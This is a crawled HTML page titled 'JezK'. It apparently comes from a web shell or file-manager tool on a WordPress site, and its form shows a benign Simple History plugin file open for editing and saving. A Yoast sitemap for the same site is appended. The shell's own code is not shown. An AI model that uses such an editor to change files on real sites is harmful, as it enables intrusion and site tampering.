
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-plugin-patches-dropin.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Simple_History\Dropins;

use Simple_History\Helpers;

/**
 * Dropin Name: Plugin Patches
 * Dropin Description: Used to patch plugins that causes issues with Simple History in any way.
 * Dropin URI: https://simple-history.com
 * Author: Pär Thernström
 */
class Plugin_Patches_Dropin extends Dropin {
	/** @inheritdoc */
	public function loaded() {
		add_filter(
			&#039;simple_history/post_logger/skip_posttypes&#039;,
			array( $this, &#039;woocommerce_skip_scheduled_actions_posttype&#039; )
		);

		add_filter(
			&#039;simple_history/post_logger/skip_posttypes&#039;,
			array( $this, &#039;woocommerce_skip_hpos_posttype&#039; )
		);

		$this-&gt;patch_co_authors_plus();
	}

	/**
	 * Patch for plugin Co Authors Plus.
	 *
	 * When editing a post and when user writes text in
	 * the &quot;Select an author&quot; metabox for the plugin,
	 * an AJAX request is performed that searches for users.
	 * If a user does not exist on the &#039;author&#039; taxonomy
	 * it is added, and it is logged like this:
	 * &#039;Added term &quot;testuser1&quot; in taxonomy &quot;author&quot;&#039;.
	 * It looks bad so we skip logging of this.
	 *
	 * We check that we have a REST_REQUEST and that the current route is for co authors plus.
	 */
	public function patch_co_authors_plus() {
		Helpers::disable_taxonomy_log( &#039;author&#039;, Helpers::is_plugin_active( &#039;co-authors-plus/co-authors-plus.php&#039; ) );
	}

	/**
	 * Skip logging of WooCommerce scheduled actions/cron related things,
	 * stored in the scheduled-action&quot;post type. If not disabled the log can be filled with
	 * a large amount of actions for this posttype.
	 *
	 * @since 2.3
	 * @param array $skip_posttypes Array with post types to skip.
	 * @return array
	 */
	public function woocommerce_skip_scheduled_actions_posttype( $skip_posttypes ) {
		$skip_posttypes[] = &#039;scheduled-action&#039;;
		return $skip_posttypes;
	}

	/**
	 * WooCommerce new High-Performance Order Storage (HPOS) system
	 * uses a custom post type called &quot;shop_order_placehold&quot; to store
	 * order placeholder posts.
	 *
	 * If post type is not skipped every manually added new WC order is logged as
	 * &#039;Updated post &quot;&quot;&#039;.
	 *
	 * @since 4.6.0
	 * @param array $skip_posttypes Array with post types to skip.
	 * @return array
	 */
	public function woocommerce_skip_hpos_posttype( $skip_posttypes ) {
		$skip_posttypes[] = &#039;shop_order_placehold&#039;;
		return $skip_posttypes;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//viverdelicitacao.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://viverdelicitacao.com/page-sitemap.xml</loc>
		<lastmod>2025-08-22T16:18:12+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->